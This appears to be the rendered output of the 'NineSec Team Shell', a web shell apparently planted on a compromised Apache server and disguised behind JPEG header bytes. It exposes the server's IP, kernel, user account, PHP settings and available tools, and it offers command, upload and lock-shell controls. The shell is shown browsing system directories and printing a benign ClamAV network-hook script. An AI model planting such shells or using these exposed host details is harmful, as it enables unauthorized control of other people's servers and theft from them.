�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/rc4.d/../python3.8/../python2.7/../python2.7/../network/if-up.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/rc4.d/../python3.8/../python2.7/../python2.7/../network/if-up.d/clamav-freshclam-ifupdown
#!/bin/sh
# 2004-01-25, Thomas Lamy <thomas.lamy@in-online.net>
# From Magnus Ekdahl's <magnus@debian.org> clamav-freshclam-handledaemon(8)

set -e

[ -e /var/lib/clamav/interface ] || exit 0

INIT=invoke-rc.d clamav-freshclam
CLAMAV_CONF_FILE=/etc/clamav/clamd.conf
FRESHCLAM_CONF_FILE=/etc/clamav/freshclam.conf

INTERNETIFACE=`cat /var/lib/clamav/interface`

if grep -q freshclam /proc/*/stat 2>/dev/null; then
  IS_RUNNING=true
else
  IS_RUNNING=false
fi

# $IFACE is set by ifup/down, $PPP_IFACE by pppd 
[ -n "$PPP_IFACE" ] && IFACE=$PPP_IFACE

# This is sloppy - woody's pppd exports variables, while sid's passes them as 
# arguments and exports them.

if [ "$1" = "$IFACE" ]; then # We're called by sid's pppd
  shift 6                    # and we already know the interface
fi                           # Dump the arguments passed.

if [ -z "$1" ]; then
  case $(dirname "$0") in
    */if-up.d|*/ip-up.d)
    # Short circuit and exit early if freshclam is already running
    [ "$IS_RUNNING" = 'true' ] && exit 0
    for interface in $INTERNETIFACE; do
      if [ "$interface" = "$IFACE" ]; then
	FMODE=start
	break
      else
	FMODE=skip
      fi
    done
    ;;
    */if-down.d|*/ip-down.d)
    # Short circuit and exit early if freshclam is not already running
    [ "$IS_RUNNING" = 'false' ] && exit 0
    for interface in $INTERNETIFACE; do
      if [ "$interface" = "$IFACE" ]; then
	FMODE=stop
	break
      else
	FMODE=skip
      fi
    done
    ;;
    *)
    FMODE=skip
    ;;
  esac
else
  FMODE="$1"
fi

case "$FMODE" in
  start|stop)
  IFACE="$IFACE" $INIT $FMODE
  ;;
  skip)
  ;;
  *)
  echo "Usage: $0 {start|stop|skip}" >&2
  exit 1
  ;;
esac

exit 0


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 25 2020 3:53:02
root
0755
bind9
0.282 KB
December 17 2019 9:42:05
root
0755
clamav-freshclam-ifupdown
1.638 KB
January 12 2022 9:02:01
root
0755
postfix
1.091 KB
April 16 2020 7:48:33
root
0755

NineSec Team - 2022